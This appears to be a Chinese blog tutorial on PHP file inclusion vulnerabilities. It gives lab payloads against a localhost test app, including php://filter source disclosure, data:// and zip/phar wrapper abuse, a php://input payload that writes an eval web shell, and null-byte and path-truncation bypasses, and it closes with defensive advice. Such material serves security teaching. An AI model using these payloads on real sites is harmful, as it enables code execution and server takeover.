文件包含漏洞

文件包含漏洞

一、概述

什么是文件包含?

在前端代码中会会有许多重复的元素,比如说菜单栏,logo,底部联系方式等,为了避免代码冗余,开发者会单独写一个页面来保存他们,用其他页面通过 include 去调用

漏洞产生原因

文件包含加载参数没有经过过滤或者严格定义,可以被用户定制,包含其他恶意代码

例如

<?php
$filename = $_Get["filename"];
include($filename);   //调用
?>
  
  
//这里可以用 /XXX/XXX/?filename=phpinfo() 来改变调用的参数
//要对 filename 参数进行过滤才行  
PHP文件包含函数
require 组

require:函数出现错误时,会直接报错并退出程序运行。

require_one:出错时直接退出;且仅包含一次。在脚本执行期间同一个文件被多次引用确保只包含一次以避免函数重新定义、变量重新赋值等问题。

include 组

include:函数出现错误时,会抛出一个警告,并且程序继续运行

include_one:函数出现错误时,会抛出一个警告,且仅包含一次


二、漏洞类型及应用

1、本地包含漏洞

包含系统文件
包含上传文件
本地文件包含配合日志文件

1.在 URL 中输入 payload,Apache 会存入 log 日志文件中,不过URL 会改变 payload

2.需要用 BP 拦截包,修改 payload

3.用 URL 访问日志文件就可以执行 payload

利用 file 协议

用来显示文件

http://localhost:81/vulnerabilities/fi/?page=file:XXX

1.利用php://filter协议

主要用来查看源代码。直接包含 php文件时会被解析,不能看到源代码,故使用php://filter读取

http://localhost:81/vulnerabilities/fi/?page=php://filter:convert.base64-encode/resource=XXX.php

//convert.base64-encode   用base64 进行编码

//resource   想要被读入的文件

把输出的base64加密文件解密就能得到原代码

2.利用zip://,bzip://,zlib://协议

属于压缩流,可以访问压缩文件中的子文件;

格式 zip://[压缩文件绝对路径]#[压缩文件内的文件名]

http://localhost:81/vulnerabilities/fi/?page=zip:// XX/XX/XX/phpinfo.zip %23 phpinfo.txt

3.利用 phar://协议

也是压缩流,不过可以用相对路径

格式 phar://[压缩文件绝对/相对路径]#[压缩文件内的文件名]

2、远程包含漏洞

前提两个参数要开启

allow_url_fopen on
allow_url_include on

1.利用 http:// 协议远程访问

2.利用 php://input 协议

主要用来接收post 数据,将 post 请求中的数据作为php 代码来执行

http://localhost:81/vulnerabilities/fi/?page= php://input <?php fputs(fopen"shell.php","w"),"<?php eval(\$_POST['xxxser']);?>"?>

3.利用 data://协议

将原本 include 的文件流重定向到了用户可控制的输入流中。

http://localhost:81/vulnerabilities/fi/?page= data://text/plain,<?php phpinfo();
http://localhost:81/vulnerabilities/fi/?page= data://text/plain,base64,(编码后信息)

3、文件包含漏洞绕过方式

1.本地文件包含漏洞绕过方式
<?php include("inc/".$_GET['file'].".htm") //添加后缀让 payload 失效

​ 1)%00截断:

条件magic_quotes_gpc = Off,php版本<5.3.4

?page= ../../../../phpinfo.info%00

2) %00截断目录遍历:

条件:magic_quotes_gpc = Off,unix 文件系统

?page= ../../../../var/www%00

3)路径长度截断:目录下超过一定长度的字节,超出的部分就会被丢弃

?page= ../../../../phpinfo.info././././././././././././././././

4)点号截断

?page= ../../../../phpinfo.info............................................................
2.远程文件包含绕过方式
<?php 
  $basePath = $_GET['path'];
  require_once $basePath."/action/m_share.php"; //添加后缀让 payload 失效
?>  

通过添加绕过

http://localhost:81/vulnerabilities/fi/?page= http://localhost/shell.php?
//实际执行,将/action/m_share.php当作查询字符串
http://localhost:81/vulnerabilities/fi/?page= http://localhost/shell.php?/action/m_share.php

其他绕过

http://localhost:81/vulnerabilities/fi/?page= http://localhost/shell.php%23
http://localhost:81/vulnerabilities/fi/?page= http://localhost/shell.php?%20

三、漏洞危害和防御

危害
  • 获取敏感信息
  • 执行任一命令
  • 获取服务器权限
防御
  • 尽量不要使用动态包含,无需要情况下设置allow_url_fopen,allow_url_include为关闭状态
  • 对可以包含的文件进行限制:使用白名单的方式,或者设置包含目录
  • 严格检查用户输入,参数中不允许出现…/这类的目录跳转符
  • 严格检查变量是否初始化
  • 不要仅仅在客户端做数据验证和过滤,关键的过滤步骤要在服务端进行
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值